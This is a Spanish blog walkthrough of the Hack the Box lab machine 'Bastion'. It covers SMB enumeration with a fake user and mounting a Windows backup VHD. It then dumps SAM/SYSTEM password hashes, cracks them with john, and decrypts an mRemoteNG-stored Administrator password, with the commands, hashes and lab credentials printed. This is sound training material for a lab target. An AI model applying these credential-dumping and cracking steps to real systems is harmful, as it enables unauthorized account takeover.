En este post voy a vulnerar la máquina Bastion de Hack the Box. Es una máquina Windows, de nivel fácil un poco atípica ya que no tiene un servicio web en ejecución y, a diferencia de la mayoría de las máquinas Windows, tiene un ssh.
Enumeración
Comienzo escaneado los 65535 puertos existentes en el protocolo TCP.
nmap -p- --open -n -T5 10.10.10.134

En la máquina hay trece puertos abiertos. Pese a los trece puertos abiertos, solamente me interesa escanear los cinco primeros puertos así que averiguo la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p22,135,139,445,5985 -sC -sV 10.10.10.134 Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-21 20:32 CET Nmap scan report for 10.10.10.134 Host is up (0.13s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0) | ssh-hostkey: | 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA) | 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA) |_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: -5m58s, deviation: 34m36s, median: 14m00s | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Bastion | NetBIOS computer name: BASTION\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-11-21T20:47:05+01:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-11-21T19:47:04 |_ start_date: 2021-11-21T19:32:31 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 19.32 seconds
Averiguo que trata de una máquina Windows Server 2016 y que los vectores de ataque mas probables son SMB o WinRM pero dado que no encuentro credenciales, este último es de poca utilidad. También me llama mucho la atención que exista un servicio de OpenSSH en una máquina Windows; es demasiado descarado para ser un rabbit hole así que seguramente este servicio sea de utilidad en el crf.
SMB – Puerto 445
Enumero los directorios del servicio con smbmap y, además de los tres directorios habituales, encuentro uno en el que tengo permisos de lectura y escritura llamado Backups.
Al intentar acceder al servio con el usuario NULL me da error pero si le añado un usuario falso (qwerty) ya me deja leerlo. Esto se debe a que el usuario NULL no está habilitado pero SMB está abierto.
smbmap -H 10.10.10.134 -u qwerty

Explotación
Accedo al directorio smb://10.10.10.134/Backups y, entre todo el contenido, encuentro un fichero en texto plano llamado note.txt y el directorio WindowsImageBackup.
smbmap -H 10.10.10.134 -r Backups -u qwerty

Me descargo el txt y lo leo. El contenido es un mensaje en el que se pide no descargar la imagen backup porque la VPN que «auxilia» a la oficina es muy lenta.

Este es el típico error de usuario y no es que la VPN sea lenta (aunque añada un retardo). SMB, a diferencia de FTP, no se diseño para descargar archivos localmente si no para trabajar con ellos desde el protocolo.
Me conecto al protocolo con smbclient y navego a través del directorio WindowsImageBackup hasta llegar a la ruta WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\ donde encuentro la raíz del backup.


En este directorio encuentro dos ficheros .vhd, además muchos ficheros .xml. VHD (Virtual Hard Disk) es un formato de archivo que representa una unidad de disco duro virtual. Contiene lo mismo que lo que se puede encontrar en un disco duro físico, como particiones de disco y un sistema de archivos, aparte de archivos y carpetas. Es usado típicamente como un disco duro de una máquina virtual. Mas información aquí.
En lugar de transferir todos los archivos con smbclient voy a montar el smb en una partición/recurso compartido para poder trabajar con mas facilidad. El comando tiene la siguiente estructura:
- sudo: Para ejecutar el comando con permisos de root (necesario).
- mount: Es el comando que crea la montura.
- -t: Indica el sistema de archivos al que me voy a conectar.
- cifs: Indica que me voy a conectar a un sistema Windows.
- //<IP>/<Carpeta Compartida>: Ubicación compartida de la red a la que voy a conectar la montura.
- /mnt/<Carpeta Local>: Carpeta local que utilizo de enlace hacia el almacenamiento externo, dentro del directorio estándar donde se establecen los puntos de montaje en los sistemas Unix (
/mnt).
sudo mkdir /mnt/bastionSmb sudo mount -t cifs //10.10.10.134/Backups /mnt/bastionSmb/ cd /mnt/bastionSmb/

Una vez creada la montura, me dirijo a la ruta anterior y listo el contenido. De los dos ficheros con extensión .vhd, el que me interesa es el mas grande, 9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd.
cd WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/ ls -lsah

Ahora voy a crear una montura del fichero .vhd para acceder a su contenido. Empiezo cargado el módulo nbd y después compruebo si se ha cargado revisando el contenido de /dev/.
sudo modprobe nbd ls /dev/

Como se ve en la imagen anterior, se ha cargado el protocolo nbd. Y el que voy a usar es el nbd0.
Con qemu-nbd voy a cargar el contenido del backup, usando el protocolo nbd y enlazando el dispositivo de bloque /dev/nbd0 a un servidor QEMU. Después creo el directorio /mnt/vhd/ donde almacenaré la montura y por ultimo realizo la montura.
sudo qemu-nbd -r -c /dev/nbd0 "/mnt/bastionSmb/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd" mkdir /mnt/vhd sudo mount -r /dev/nbd0p1 /mnt/vhd cd /mnt/vhd ls -l

Con -r especifico que es de solo lectura y nbd0p1 es la imagen que carga el servidor QEMU
Como se puede ver en la imagen anterior, el backup me ha dado acceso al sistema de archivos de la máquina (en la imagen). Navego un poco y veo que tengo acceso de lectura, escritura y ejecución de los ficheros SAM y SYSTEM.
cd /mnt/vhd/Windows/System32/config ls -l

Volcando estos dos ficheros, puedo conseguir acceso a los hashes de los usuarios del sistema. Existen muchas formas de volcar los hashes.
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Con el comando
pwdump SYSTEM SAMhabría obtenido el mismo resultado
samdump2 SYSTEM SAM *disabled* Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: *disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

En la imagen anterior indica que los usuarios Administrator y Guest están deshabilitados (disabled) por lo que no creo que sirvan de mucho. Igualmente guardo todos los hashes en el fichero hash y lo rompo por fuerza bruta con john y el diccionario rockyou.txt, consiguiendo las credenciales L4mpje:bureaulampje.
sudo john -w=/usr/share/wordlists/rockyou.txt hash --format=NT

Utilizo las credenciales para conectarme por SSH.
ssh L4mpje@10.10.10.134

La flag de usuario la encuentro en la ruta C:\Users\L4mpje\Desktop\user.txt.

Escalada de Privilegios
La máquina debe estar bastionada (supongo que de ahí el nombre) y no puedo ejecutar la mayoría de comandos para enumerar el sistema o subir un binario que lo haga automáticamente por lo que tengo que revisar los directorios uno a uno.
En la ruta C:\Program Files (x86) encuentro un directorio llamado mRemoteNG. mRemoteNG es un administrador de conexiones multiprotocolo y permite a los usuarios conectarse a sistemas con diferentes protocolos como SSH,RDP,VNC,etc… así que guarda las credenciales localmente.

Como en la mayoría de este tipo de herramientas, aunque las contraseñas almacenadas están cifradas, se ha conseguido romper el cifrado y se pueden obtener las credenciales. Googleando un poco encuentro está guía para escalar privilegios.
En primer lugar navego hasta el directorio C:\Users\L4mpje\AppData\Roaming\mRemoteNG donde encuentro el fichero confCons.xml.

Este fichero es el que almacena los datos de conexión. Leo el fichero y encuentro la contraseña del usuario Administrator cifrada.
type confCons.xml

A primera vista diría que la contraseña está codificada en base64 pero una herramienta de este tipo no va a tener una codificación tan débil. En github encuentro este script para descifrar las contraseñas de RemoteNG. Ejecuto el script y consigo las credenciales Administrator:thXLHM96BeKL0ER2.
python3 mremoteng-decrypt.py python3 mremoteng-decrypt.py -s aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==

Al igual que antes las utilizo para conectarme por SSH y consigo acceder al sistema.
ssh Administrator@10.10.10.134

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

